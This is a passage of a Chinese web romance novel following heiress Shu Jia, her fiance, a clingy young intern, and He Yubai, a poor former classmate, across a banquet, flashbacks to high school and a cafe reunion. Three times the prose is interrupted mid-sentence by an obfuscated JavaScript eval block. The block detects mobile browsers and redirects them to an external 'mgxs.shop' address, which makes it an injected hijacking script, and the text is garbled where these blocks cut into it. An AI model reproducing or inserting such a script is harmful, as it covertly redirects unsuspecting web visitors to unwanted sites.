;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17214124|197434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个都是身材脸蛋无可挑剔的混血大帅哥。 宜宝(第五次要离婚版):「后天晚上你可得准时到场啊,不过我估计没空招待你,这些都是特意给你安排的,保证你不会无聊。」 宜宝(第五次要离婚版):「我听Alice说,你昨晚没跟谢令书一起回去,是不是又吵架了?要我说你也该好好放松一下,反正在我的场子,谢令书又不会知道。」 舒嘉回过去一个Kerry熊捂脸叹气的表情包,郑歆宜的好意她心领了,不过照片上这几个,显然不是她喜欢的类型。 太过浮夸、刺眼,她的眼睛会觉得很吵。 舒嘉交代安雅记得准备给郑歆宜的礼物,就继续忙起公司的事。 晚宴开始前一个小时,舒嘉在私人办公室的更衣间里换上安雅送来的裙子,一身简单的黑色高定鱼尾裙,领口处用一颗颗手工镶嵌的碎钻代替了原本白色蕾丝的设计,优雅又贵气。 车子轻车熟路地开向蓝庭海邸,从车窗里可以看见酒店大楼后方一大片几乎望不到头的人工湖,映着月色,波光粼粼。 那是舒知行特意为舒嘉打造的景观,只因为有一次她来酒店玩的时候,随口说这地方看不到海。 舒嘉下了车,从宽敞的贵宾通道进入大楼,来到宴会厅。 郑歆宜正端着发僵的笑脸招呼宾客,她的先生傅容琛比她大十岁,此刻坐在她身旁的轮椅上,面容沉肃,一看就是不苟言笑的古板性格。 怪不得郑歆宜隔三岔五就和她嚷嚷着要离婚。 舒嘉对此深表同情,她让安雅把礼物交到前台的服务生手里,就去了大厅角落的沙发里坐着,随意倒了杯酒喝。 舒氏集团的大小姐,舒家的现任话事人,无论走到哪里都是惹眼的。 很快有人把郑歆宜事先安排好的那几名混血帅哥带了过来,恭敬地说,舒小姐玩得开心。 舒嘉随手褪下手腕上的钻石手链,丢到那群正要往她身边凑的男人们身上。 ——不,对舒嘉来说,应该只能称之为“男孩”。 只有斯兰顿矿场才能产出的珍贵蓝钻,光是一颗就能在拍卖场上拍出高达上亿的天价。几个年轻男孩都还在读大学,没怎么见过上流圈子的世面,却也知道舒大小姐身上的每一件东西当然都价值不菲,立刻一拥而上地拼命去抢,而后也很识趣地,没再来打扰舒嘉。 舒嘉得以清静地品完一杯味道还不错的香槟,正打算叫服务生再倒一杯,抬头时,却在不远处看到了一个意料之外的人。 是贺屿白。 男人显然不擅应酬交际,沉默地站在窗边,有人殷勤地递上一支烟,他摆摆手拒绝,一副冷淡的,拒人于千里之外的态度。 舒嘉惊讶于贺屿白竟然会来参加郑歆宜举办的晚宴,他不是喜欢热闹的人,何况他和郑歆宜本来也没什么来往。 似乎察觉到了舒嘉的视线,贺屿白朝角落里看过来。 舒嘉灿灿地扬唇,做了个嗨的手势。 桌上的手机震动了两声,打断了舒嘉还没说出口的话。 她低头,看见屏幕上亮起的消息,歉然地朝贺屿白笑笑,便拿起手机起身离开了。 舒嘉的身影很快隐没在来来往往的人流之后。 她今天没有和她的未婚夫一起来,贺屿白想。 理智告诉他,他不该再踏足舒嘉的世界,可是却又无法控制地,想要靠近她,想要再被她看到。 好像他只能用这样的方式,徒劳地抓住一切可能出现在她视线里的机会,妄想着那段短暂的过往能够被舒嘉承认。 贺屿白终于放下酒杯,朝着舒嘉离开的路走过去。 人渐渐少了,到了走廊尽头,几乎安静得没一点声音。 很突兀地,他听见半开的楼梯间门后,传来细微的响动。 贺屿白脚步顿住,下意识屏住了呼吸。 隔着门缝,贺屿白清晰地看见,昏暗的楼梯间里,舒嘉倚墙站着,而一个年轻英俊的男生正以一种他永远学不会的撒娇姿态赖在舒嘉怀里。 钻石闪烁着细碎的光泽,像夜里的星星一样忽明忽灭。 贺屿白呼吸颤抖,他看见舒嘉戴着婚戒的手指暧昧地抚摸过那男生的腰—— 和当初他跪在她面前时,她抚摸他一样。 8.堕落春夜 “三个月还没到怎么就回来了?人没学乖,胆子倒是越来越大了。”舒嘉的脖子被男生的呼吸蹭得发痒,她皱起眉微微偏开脸,却还是纵容了男生的亲近。 “我想姐姐了嘛。”赵安宇委屈巴巴地抬起头,眼睛湿漉漉的,很让人心软,“姐姐应该……不生我的气了吧?” 舒嘉是在半年前的一次招聘会上认识赵安宇的。 人事部请舒嘉作为特邀发言嘉宾参加集团在港大的招聘会,结束后有个互动提问的环节,她就是那时候注意到赵安宇的。 二十刚出头的男生,正是蓬勃生长的年纪,青涩害羞的样子很招人喜欢,举手提问的时候甚至不敢看她的眼睛。 看到赵安宇的第一眼,舒嘉莫名想起许多模糊的、久远的回忆。 他的脸很像一个人,再看时却又不像了。 记忆里的那个男生,过分地安静,沉默,像经年不变的一场冷冬,而赵安宇却像是夏天海岛上带着椰子香气的阳光,身上总是有着用不完的活力和精神,和她熟悉之后,每天见了她都会甜甜地弯起眼睛叫她姐姐。 舒嘉破例让赵安宇以实习生的身份直接进了舒氏总部。 也自然而然地,把他带回了自己的别墅。 舒嘉喜欢他身上那股年轻的新鲜,也从不吝啬于给他丰厚的奖励。 可是舒嘉的兴趣总是有期限的。何况赵安宇越来越粘人,不仅一次次地故意在她开会的时候假借送茶水的名义在她面前晃,甚至在她的办公室里就敢戴着玩具勾引她。 她可以宠着他,但这不代表他有越界的资格。 于是舒嘉随便安排了个为期三个月的小项目,把赵安宇打发到了离川港几千公里之外的一处分公司。 算算日子,这才不到两个月,他竟然就擅自跑回来了。 舒嘉没理会男生可怜兮兮的眼神,只是问他:“没有请柬,你怎么进来的?” 赵安宇直起身,拿起脖子上挂着的媒体工作牌得意地朝舒嘉晃了晃,像只等待夸奖的小狗,“今天到场的媒体很多,我跟在后面混进来的,姐姐放心啦,没人注意到我。” “姐姐是换了新的香水吗?”赵安宇埋回舒嘉脖颈间嗅了嗅,像是在确认他不在姐姐身边的这段时间,她身上有没有沾染别的男人的味道,“薄荷味的,好香。” 他抱紧了舒嘉,低下头,迫不及待地想要去亲舒嘉的唇。 舒嘉仍旧皱着眉,用食指抵住男生不听话的嘴巴,心想果然还是没学乖。 赵安宇蔫巴巴地控诉:“为什么不可以……” 他跟在舒嘉身边这么久,舒嘉一次都没有亲过他。 甚至连拥抱都没有几次! 可是姐姐明明是很喜欢他的吧? 不然,也不会允许他爬上她的床。 舒嘉深吸一口气,“我让助理带你从后门离开。” 这种年轻的男孩对坐拥财富权力的舒大小姐来说,就像熟透到汁水四溢的水蜜桃,所有的滋味都在最开始咬下的那几口里,经不起细细回味。 赵安宇瘪嘴,还要往她怀里贴:“我知道错了,姐姐原谅我好不好?以后我都听姐姐的,姐姐不想看见我的时候,我绝对不会给姐姐添乱。” 舒嘉被缠得快要失去耐心,却忽然听见门外走廊里,有些轻微的声响。 赵安宇只顾赖着她撒娇,显然没有注意到那点微弱的、几乎和呼吸一样轻的声音。 脸庞清冷的男人脊背绷得笔直,手指紧紧攥成拳,神情怔然,好像连舒嘉无意瞥过来一眼都没有发觉。 舒嘉眼中闪过一丝诧异,不过也只有短暂的一瞬,很快便被兴味所取代。 很恶劣的,舒嘉收缓了手上推拒的力道,默许了赵安宇大胆地亲上她的脸颊。 “……听话,先回去。明天到公司来见我。”舒嘉说。 得到了舒嘉的许诺,赵安宇高兴得眼睛亮亮的,“好,那我做好早饭给姐姐带过来。” 贺屿白终于回神,脚步仓惶地躲进一旁的吸烟室。 无人使用的房间里光线昏暗,而走廊里灯光晃眼。 透过门上的单向玻璃,贺屿白清晰地看见舒嘉和那个男生一前一后地离开了楼梯间,似乎有人打来电话,舒嘉随手接起,推开了一间VIP贵宾休息室的门。 贺屿白手指紧攥,掌心痛意尖锐,好似密密麻麻的针扎过心口。 对方年轻热情,主动有趣,相比之下,那晚的他木讷又生涩,不懂该如何取悦讨好,只会红着眼尾忍耐承受,这是他唯一擅长的本领。 他一直都知道,舒嘉身边从来都不缺簇拥者,多得是泛滥成灾的选择。 哪怕她已经订婚,有了家世财富都和她完美相衬的未婚夫,她依然拥有追求新鲜的资本。 而那段他自作多情的过往,于舒嘉而言不过是场不值一提的消遣。 所以她可以很轻松地不告而别,像是丢掉一个用过了却不合心意的玩具,扔到垃圾堆里,都不会回头多看一眼。 他盯着那间休息室的门看了很久,直到有人抖着烟盒推门进来,惊讶地喊了声“贺总”。 贺屿白松开攥到发红的手指,没回应那人客气的寒暄,离开吸烟室,走到舒嘉进去的休息室门外。 门里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17217585|197434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 隐约传来舒嘉慵懒的说话声,她像是在和某个很亲近的人讲电话,话里带着笑,轻松明媚。 贺屿白抬起手指,在半空中僵持着,又无声放下。 反反复复地挣扎了不知多少遍,他终于鼓起勇气,敲响了门。 “进。” 舒嘉以为敲门的是安雅,刚才她喝的那支香槟还不错,她有兴致再喝上一点,就让安雅再送一支一模一样的过来,要冰过的。 她挂掉电话,转头看见贺屿白,惊讶道:“贺总?” 贺屿白抿唇,关上了身后的门。 贵宾休息室的隔音做得很好,随着门锁落合的声响,门外宴会上的喧闹声便都听不见了。 安静的房间里,只剩下她和贺屿白。 舒嘉脚尖点地,懒懒地把椅子转过来,仰脸看着面前的男人:“贺总有事找我?” 空气里有清烈的薄荷香,代表着这是舒嘉的领地。 她又在用那样灿然坦荡的眼神看他,贺屿白喉咙发紧,对这样的舒嘉,无论是怎样的舒嘉,他从来都毫无招架之力。 “……合同的事我确认过,没什么问题。”贺屿白避开舒嘉的视线,“那天,耽误舒小姐时间了。” “没问题就好,一点小事而已,不用麻烦贺总亲自和我说明的。” 舒嘉站起身,笑说,“抱歉,我得离开一下,下次有机会,再陪贺总多聊聊。” 她握住门把手,手心下压,锁芯转动的声响清晰刺耳。 “舒小姐!” 贺屿白突然叫住了她,声音因为少见的失控而有些晦涩发哑。 舒嘉感觉到手腕被握住,她忍不住回头看去,贺屿白立刻松开了手,后知后觉退开几步,和她保持着合适的距离。 “贺总还想说什么?”舒嘉难得耐心地问。 男人密密的睫毛垂得很低,清冷眼尾泛着隐忍的红,西装袖口下的手攥得很用力,在光线下,几乎能清晰看见手背上鼓动的暗青血管。 他像是难堪到了极点,可是却又不得不抓住这一点微渺的机会,逼着自己,卑微地向舒嘉开口。 “你、你不能……不能玩了我一次就……” 男人的声音越来越小。 呼吸颤动起伏,很像他在床上的时候好听的哭腔。 “什么?” 舒嘉眨眨眼,像是顺着他的话,回忆起了一些陈旧的、只属于他们两人的秘密。 她看着贺屿白的眼睛,故作认真地思考了一会儿,却只是笑了下,用随意而无辜的口吻,半开玩笑地提醒—— “可是我记得,我给过报酬了。” 9.Fallen spring night [Fallen spring night……] 十七八岁的高中生学习压力过大,正需要点新鲜的八卦来调剂。 而舒嘉过于耀眼的身份,注定了她无论走到哪里都是万众瞩目的焦点。 很快,舒嘉出现在贺屿白自行车后座上这件事,就悄无声息地传遍了整个学校。 雨季的天灰沉压抑,暗流涌动。 父母双亡的清贫高材生喜欢上川港首富家的千金大小姐,是年少时懵懂的怦然心动,还是穷小子为了攀附高枝而妄想追求捷径,显然,旁观者们更乐意倾向于后者。 “……啧,我说贺屿白怎么对学校里其它女生都不理不睬的,合着人家是专钓大鱼啊。” “平时装得那么清高,家里穷得要死还一副傲得谁都看不上的样儿,也就是他成绩好有老师护着,不然学校里看不惯他的可多了去了。” 男厕所里,水龙头哗哗作响,盖不住男生话里充满恶意的鄙夷。 “就是,也不照照镜子看看自己几斤几两,人家什么身份,他什么身份?喜欢人家大小姐?他也配。” “怪不得舒嘉这几天都没来学校呢,估计是知道他那点龌龊心思,又不好直接拒绝,只能躲着了。” “人可以穷但不能没有自知之明啊。贺屿白不是挺聪明的么?怎么还干这种自不量力的蠢事。要是舒嘉知道他家里穷成那鬼样子……” 吱呀,厕所隔间的老旧门板被推开,几个男生立刻下意识地闭了嘴。 贺屿白面无表情地走到他们身边,打开水龙头,反反复复地洗了很多遍手。 背后说人坏话被正主撞个正着,男生脸色有点讪讪的,犹豫着要不要开口说点什么,缓和一下僵硬的气氛。 “那个……我也是听别人瞎说的……”男生尴尬地给自己找了个台阶下,“你和舒嘉的事不是真的吧?肯定都是谣言……” 而没等他把话说完,贺屿白已经擦干手,走出了男厕所。 回到教室,旁边的座位仍然空着,舒嘉已经有一周没来上课了。 厕所里那几个男生讥讽的话仍然在耳边回荡。 这些天学校里的谣言接连不断,贺屿白把自己埋进堆积如山的试卷里,从始至终没有否认任何。 ——无论是他的自不量力,还是喜欢。 他只是垂下眼,一遍遍地在脑海中回忆着,送舒嘉回家那晚,他应该足够小心,没有表现出任何会对她造成困扰的情绪。 * 舒嘉对学校里传得沸沸扬扬的谣言分毫不知,那晚贺屿白送她回家后,她还能快乐地喝下一杯陈晚玉准备的小甜水,结果第二天就毫无预兆地病倒了。 舒知行派来的私人医生顾不上晕车的不适,拎着药箱慌张地跑进舒嘉的房间,忙活半天终于松了口气,说只是普通的感冒,加上有些发烧,吃了药休息几天就能好了。 “……这里空气太潮湿,大小姐从川港过来,可能有点水土不服,生病也是正常的,不用太担心。” 即使私人医生这样说了,舒知行仍然放心不下,坚持要把舒嘉接回川港养病,家里有专门的厨师和女佣,能更好地照料她。 舒嘉坚决不肯,舒知行听着电话里宝贝女儿虚弱的咳嗽声,终于还是心软了。 他答应让舒嘉继续留在栖塘,条件是高考前舒嘉都要待在尹杭家里好好休养,至于学校的功课,他会从川港派一名经验丰富的家庭教师过来。 舒嘉也乐得在家躲清闲,反正高中的那点课业,对她来说根本用不着费多少心思。 潮湿的雨季终于过去,迎来了酷热燥闷的盛夏。 怕舒嘉无聊,尹茹特意安排专车,把舒嘉的爱犬送了过来,给舒嘉解闷。 是一只三岁的博美,是舒嘉在一次公益救助活动上领养的,雪白的一团,毛茸茸的很可爱。 高考完的那几天,正是夏天最热的时候。 舒嘉怕晒,窝在房间里吃着陈晚玉做的荔枝冰,但拗不过小狗缠在她脚边汪汪叫着要出去玩,舒嘉只好给自己全副武装,牵起狗链下了楼。 小狗在院子里撒欢,叼着舒嘉的Kerry玩具熊要和她玩追逐游戏。 舒知行的电话不合时宜地打来,舒嘉皱眉,一边安抚地摸着小狗躁动乱蹦的脑袋,一边接起来,“喂,爸爸。” “高考结束了吧?打算什么时候回家,爸爸好给你安排接风宴。”舒知行嗓音温和沉稳,听起来的确很像一位体贴的丈夫,一个和蔼的父亲。 “还有,港大那边爸爸已经联系过了,看你对什么专业感兴趣,都是业内最知名的老师,多学点本事对你有好处。” 舒嘉一听他提起这事就烦,“我说过我不去港大。” 舒知行心平气和地和她讲道理:“你想去云湾读大学,爸爸知道。湾大虽然也不错,但无论是师资还是管理都和港大没法比。何况港大的校董和爸爸是老朋友了……” 舒嘉嘟囔:“我就是不想回川港,云湾市里离舅舅家也近,真有什么事也有舅舅在呢,你用不着担心。” 舒知行知道舒嘉还在因为那件事和他置气,一时沉默,许久后才无奈地叹了口气:“那你总要回家待一阵子吧?你妈妈,还有爷爷,都很想你。” “我知道,我已经和舅妈说过了,后天就走。” 舒嘉还是拎得清轻重的,舒知行和尹茹那档子丑事毕竟和舒老爷子无关,老爷子为着这事在家里发了好大的火,还多次打电话过来劝舒嘉别理会她那对混账父母,在哪里自在就待在哪。 老爷子年纪大了,身体也大不如前,在去云湾之前,她想回家陪爷爷多待些日子。 舒嘉挂了电话,随手把手里的玩具熊又抛出去让小狗捡,抬头时看见贺屿白沿着小路走过来,肩膀上还背着书包。 她有些惊讶,随口问了句:“高考都结束了,你还要学习吗?” 贺屿白停下脚步,隔着一段不远不近的距离,舒嘉蹲在小院门口,头上戴着一顶帽檐宽到夸张的亚麻草帽,遮住大半阳光。 她仰起脸和他说话,那阳光便又倾泻在她白净的脸颊上,女孩被晒得微眯起眼,像一只懒洋洋的、矜贵的波斯猫。 贺屿白拘束地移开视线,解释道:“我找了份家教,给几个初中的学生补习。” “这样啊。”舒嘉了然点头。 她的注意力很快被院子另一头的动静吸引,舒嘉及时扯住狗链,没让自己被叼回玩偶的热情小狗扑倒。 “来,小白,跟哥哥打招呼。”舒嘉握着它的爪子,对贺屿白做了个招手的手势。 她低着头和小狗说话,声线有意夹着,甜得不像话,却并不做作。 贺屿白的心因为她随口的一句“哥哥”忽然跳得很快,他局促而无措地站在那里,看着舒嘉佯装生气地训斥小狗:“小白,过来。” “教过你的都忘啦?去跟哥哥握手,等下奖励你排骨吃。” 小白在舒嘉脚边徘徊,警惕地盯着贺屿白,汪汪叫着,却怎么都不肯上前。 舒嘉气笑,正要向贺屿白解释,小白平时很听话的,今天也不知道是怎么了,陈晚玉在屋里温柔催促:“嘉嘉,东西都收拾好了吗?后天就要走了,衣服还没收吧?要不要舅妈帮忙?” 舒嘉连忙扬声:“舅妈,我自己收就好。” 她抱起小白,弯起眼睛朝贺屿白做了个拜拜的手势,就小跑着进了屋。 贺屿白怔了怔,下意识往前走了一步,然而房门已经关上,只留一声沉闷的回响,将他不及问出口的话尽数堵回喉咙里。 贺屿白望着那道紧闭的门,夏日炙热的阳光烤得他呼吸发烫,心口也跟着发闷,发涩。 她……要离开这里了吗? 是因为那些难听的流言,所以她才没有再来学校吗? 她还会不会回来? 无数纷乱的念头闪过脑海,贺屿白不安地猜测着,试图去寻找正确的答案,又后知后觉地意识到,他所关心在乎的,都不在舒嘉的考虑范围之内。 ——因为本就无关紧要,所以,才会连告别都不曾有。 * 回到川港,舒嘉没回舒宅,直接住进了舒老爷子的曼港山庄避暑,着实度过了一段无人打扰的惬意时光。 郑歆宜跟着父母去了海岛度假,临近开学才回川港,两人约在一家以前常去的私人港式茶餐厅见了面。 郑歆宜一见到舒嘉就哭丧着脸抱怨 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舒知行在湾大附近的桦莱酒店给舒嘉安排了一间高档套房,位于整个酒店视野最优越的顶层,从透亮的落地窗望出去,能俯瞰整个云湾的楼群。 等随行的管家佣人把舒嘉的行李都收拾好,已经是中午了。 舒嘉本来想随便点一份酒店的午餐对付一下,谢令书却说:“云湾这边的口味和川港不太一样,听说湾大附近有很多当地特色的餐厅,要不要去尝一下?我请客。” “请客就免了。”舒嘉放下才拿起的酒店电话,盯着谢令书看了一会儿,觉得有些事还是早点说清楚比较好,“这样吧,辛苦你大老远地送我一趟,我请你喝杯咖啡,顺便和你谈点事情。” “好。”舒嘉难得主动,谢令书当然答应得爽快。 司机把车停在湾大北门口附近的停车场,舒嘉下了车,随便在地图上搜了一家装修风格还不错的咖啡厅,走进去要了两杯美式。 “嘉嘉想和我谈什么?”等咖啡的间隙,谢令书温柔地问。 舒嘉开门见山:“我知道我爸爸的意思。很抱歉,我暂时没有结婚的打算。” 谢令书对此似乎并不意外,他斟酌了一下用词,委婉道:“恕我冒昧,嘉嘉有这样的想法……是受令尊那件事的影响吗?” 当时舒嘉头也不回地从舒知行的办公室跑开,舒董急着去追女儿,惊动了不少人,那个衣衫不整的女秘书还没来得及把套裙穿上,听说一条黑丝还挂在舒董的脖子上。 这事在舒氏内部闹得沸沸扬扬,最后还是舒老爷子出手,好不容易才把舆论平息,但圈子里的人多多少少都知道一些。 谢令书绅士地微笑:“关于这一点,嘉嘉可以放心。我没有在外面沾花惹草的习惯,出轨更是不可能的事。” “和他们没关系。”舒嘉皱眉,干脆把话说得更直白些,“结婚不在我未来几年的规划之内,会占用我很多精力。我不想在没有价值的事上浪费时间。” 谢令书点头表示理解,笑容仍旧温和,“嘉嘉,我们从小一起长大,你该知道,我不是着急的人。整个川港都知道我们两家联姻是早晚的事——多久我都可以等的,嘉嘉。” 舒嘉无语至极,觉得这人简直不可理喻,“你……” 一句“你是不是听不懂话”还没说出口,身旁的过道上忽然响起男人不耐烦的骂声。 “傻站着干什么?挡路了没看见?” 被骂的是个年轻男服务生,听见客人斥责,终于回过神来,慌乱地侧身让路,却还是没留神被那男人壮实的身体撞了下,腰窝狠狠磕在桌沿,手中咖啡随之泼洒了一大半,零星溅落在舒嘉手上。 舒嘉被烫得嘶了声,谢令书连忙抽出纸巾按在她手背上,不悦地看向那个冒失的服务生,“怎么做事的?” “对、对不起……” 男生低着头,纤长的睫毛垂着,挡住了清冷的瞳孔。 他的声音很轻,却有些耳熟。 舒嘉下意识抬头看过去,男生穿着咖啡厅黑白的制服,身上还系着店里的围裙,皮肤好像晒黑了些,但舒嘉依然一眼就认出了他。 贺屿白…… 他怎么会出现在云湾? 10.Fallen spring night [Fallen spring night……] 难道他也在湾大? 可是以贺屿白稳居年级第一的优秀成绩,完全可以去国内顶尖的知名高校。湾大虽然也有不少排名不错的专业,但论综合实力,还是差了不止一截。 “没事吧嘉嘉?烫得严不严重?我让司机去买点药过来。”谢令书心疼地皱起眉。 “对不起,我去买吧。”男生声音清冷,却透着掩饰不住的慌乱和紧张。 “不用。一点小伤而已。”舒嘉用纸巾把手背上的咖啡渍擦拭干净,只是烫红了一小块,她还没那么娇气。 再看贺屿白的手,却是被烫得不轻,清秀的手指通红一片,指尖因为疼痛而微不可察地颤抖着。 谢令书冷冷看向贺屿白:“去拿点冰块过来,咖啡重新做一杯。” 贺屿白再次低声地说了句对不起,低着头离开了。 舒嘉望着男生清瘦的背影,有些出神。眼前的男生的确是贺屿白没错,她有些意外竟然还能再见到他。 是巧合吗?舒嘉想。 “嘉嘉,真的没事吗?”谢令书不厌其烦的关心打断了舒嘉的思绪,他叹了口气说,“也难怪伯父放心不下你。为什么不留在川港?有我在你身边照顾你,还有不少熟悉的朋友,总比你一个人在云湾要好。” 舒嘉厌烦地掀眸,“小谢总,我的事还用不着你管。你不是还有生意要谈吗?时间也不早了,我就不送你了。” 舒嘉只有心情很坏的时候才会叫他小谢总,谢令书深深地盯着她看了一会儿,绅士地点了点头,“好,那下次见。远恒有个项目落地在云湾,所以这两年我会经常往云湾跑。有需要的话,随时联系我。” 谢令书走了,世界终于变得清净了。 她的咖啡还没做好,舒嘉等得有点饿,于是叫来服务生又点了份松饼。 几分钟后,店长亲自端来舒嘉要的松饼,还另外赠送了一份新品草莓挞。 “小姐您好,我听说店里的服务生不小心把咖啡洒在您身上了,您没受伤吧?”店长躬着腰,一脸歉意,“实在不好意思,他是这个月新来的,湾大的学生过来做兼职的,不是店里的老员工,做事总是冒冒失失的。这是额外送您的甜品,当作给您的补偿,您看,这事儿就这么过去了,行吗?” 这家咖啡店位于湾大旁边市中心的繁华地段,对面不远处就是一片富人云集的别墅区。除了学生,店里最主要的营业收入,就是那些闲来无事约着好姐妹来店里聊天消遣的富婆。 舒嘉虽然年轻,但看穿着气质,一看就不是普通人家的姑娘。 店长深知这些有钱人个个都是惹不起的,尤其是有钱的富婆。 贺屿白刚来店里的时候,因为长了一张太引人注目的脸,有个四十多岁的富婆直接甩了一沓钞票在柜台上,笑吟吟地问贺屿白要不要跟她回家。 被贺屿白拒绝后,富婆恼羞成怒,带着闺蜜不止一次来店里挑事,明明是自己洒了咖啡,却故意说是贺屿白不小心,还说除非贺屿白跪下把她的裙子一点点擦干净,否则她就砸了这家店。 这件事当时闹出了不小的动静,最后不知道被谁捅到了那富婆老公的耳朵里,才总算消停。 店长生怕眼前这位漂亮姑娘也是个不好打发的主,声音都小心翼翼的。 “兼职?”舒嘉想起离开栖塘镇的前几天,贺屿白似乎说过他在做家教赚钱。 他很缺钱吗? 舒嘉这样想着,也这样问了。 店长犹豫了下,叹了口气:“他家里的情况……比较困难。他倒是个要强的孩子,听说因为入学成绩优异,直接走的什么交换生通道,过两年就要公费去国外了。所以他不仅得自己赚湾大的学费,还得提前攒一些出国之后的生活费……他是这么跟我说的。那孩子不止在我这儿一个兼职呢,好像同时在打三四份工,有一回都累得在店里昏倒了……” “小姐,您的咖啡好了。” 贺屿白走过来,手中托盘里是一杯新做的美式,旁边还有一杯冰块。他低着头把东西摆到舒嘉面前,双手攥着托盘,垂眼站着。 店长连忙拉过贺屿白,严厉地斥责:“给这位小姐道歉了没有?培训了一个多月了怎么还总是犯这种错?” “好啦,又不是什么大事。而且本来也不是他的错,是有人撞了他,他才弄洒了咖啡的。” 舒嘉看了眼旁边,那个撞过贺屿白的男人就坐在过道另一侧,穿得西装笔挺,正对着笔记本敲得噼啪作响,好像根本没看到贺屿白一样。 店长松了口气,暗自庆幸这位小姐是个讲理的。柜台有人在喊店长,他嘱咐贺屿白照顾好客人不要再犯错,然后便匆忙离开了。 舒嘉看向贺屿白发红的手背,想起他的腰那一下应该也撞得不轻,于是便问:“还疼吗?” 男生睫毛颤动,对舒嘉的关心似乎有些错愕。 舒嘉眨眨眼,“不认识我了?” 这次对方倒是答得很快,“……认识的。” 舒嘉这才笑起来,“好巧啊,没想到你也来了湾大。” 贺屿白薄唇抿起,低声说:“是挺巧的。” 他手指蜷紧,心脏在自作主张地过速跳动。 他没有告诉舒嘉,那天听到她和舒知行讲电话的内容后,他偷偷地改掉了已经写好的志愿,写上了云湾大学的名字。 舒嘉一手搅动着咖啡,一手撑腮看他,很认真地说:“如果需要帮忙的话,可以跟我说哦。” 贺屿白愣了下,等他回过神的时候,舒嘉已经低下头,专心品尝起她的咖啡了。 “服务生,来杯冰水。” 角落里有客人扬手,贺屿白应了声,走出几步又停下来看向舒嘉,犹豫着该不该说些什么。 可是他和舒嘉之间,好像并没有什么可以寒暄的话题。 刚才和她一起走进店里的那个男人,穿着剪裁得体的昂贵衬衫,无意露出的手表是他从没见过的高奢名牌。 贺屿白抿起唇,终究还是沉默地走开了。 准备冰水,把烤好的甜品装盘,清洗客人用过的杯子。 被烫红的手背在冰凉的水流下冲洗,直到失去麻木的痛感。 有同事喊他去收拾客人用过的桌子,贺屿白擦了擦手出来,看见舒嘉坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17230977|197434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过的那个位置已经空了。 只有空气中残留的一点玫瑰香气,提醒着贺屿白,她真切地来过。 * 开学后,舒嘉很快投入到崭新的大学生活里,忙得不可开交。 她主修金融,此外还申请辅修了西方美术,前段时间舒嘉沉迷于各种画展,为此砸出去不下一个亿专门收藏各类拍卖展上的古董画作,堆满了酒店套房的储藏间,自己也尝试画过一些作品。 对于她感兴趣的事物,舒嘉从来不吝啬于花费时间。 再去那家咖啡厅,已经是大一下半年的学期中。 偶然听同学提起店里新推出了一款松露黑巧饼干,在网上炒得很火,最开始的那几天甚至要提前预订才能吃到。 舒嘉甜品脑袋发作,恰好有门课需要写一篇课程论文,舒嘉就抱着笔记本电脑去了店里。 饼干烤得焦焦的,巧克力的味道很浓郁,是舒嘉喜欢的口味。 舒嘉一连去了一个礼拜,店长记得舒嘉,总会特地给她留出靠窗的安静位置。 贺屿白依然在店里兼职,不过店长似乎是怕他再犯上次的错,舒嘉点的东西,每次都是另一个年纪大些的服务生送来。 舒嘉忙着论文的事,倒是没注意这些,这天她终于赶在ddl之前把论文写完,在邮箱里点了发送。 合上电脑,舒嘉惬意地伸了个懒腰,无意朝柜台看去一眼,一个新来的女服务生正在操作收银机,看表情,似乎是遇到了什么麻烦。 接着那女生便转过头,甜甜地喊了声:“贺屿白,你能过来帮我一下吗?” 男生掀开帘子出来,神色淡漠地快速按下几个按键,卡塞的机器里顺畅地弹出小票纸,女生眼睛一错不错地看着他,亮晶晶的,“谢谢你呀。” 舒嘉饶有兴致地眯起眼睛。 几分钟后,贺屿白给隔壁桌的客人送完咖啡,经过她身边,舒嘉闲闲地搅动着杯子里还没喝完的美式,“你女朋友吗?” 贺屿白脚步一顿,立刻摇头,低着声快速解释:“只是同校的学生,之前在学校里遇见过几次,碰巧在同一家店兼职。” 舒嘉惊讶于她竟然能在贺屿白口中听到这么多字,不由抬起头多看了他几眼,眼神多了几分认真审视的好奇意味。 贺屿白被她的目光看得有些不自在,局促地站在那里。 舒嘉忍不住笑,“你这么紧张干嘛,我就是随口一问。” 暮色四合,马路旁零星亮起了街灯。不知道什么时候下起了雨,窗户溅上雨水,朦胧地映出五光十色的繁华夜景。 舒嘉听见雨声,看向窗户,“你们店里有伞可以借吗?” 她还打算顺路逛逛这条街上新开的一家古董店呢,时间还早,她不想太早回酒店。 贺屿白沉默片刻,回到柜台后,拿了把伞递给她。 很普通的黑伞,看得出用过多次,有些旧了,但依然沿着伞面的折痕收叠得规规整整。 他没有告诉舒嘉这把伞并不是店里的,而舒嘉也没有接。 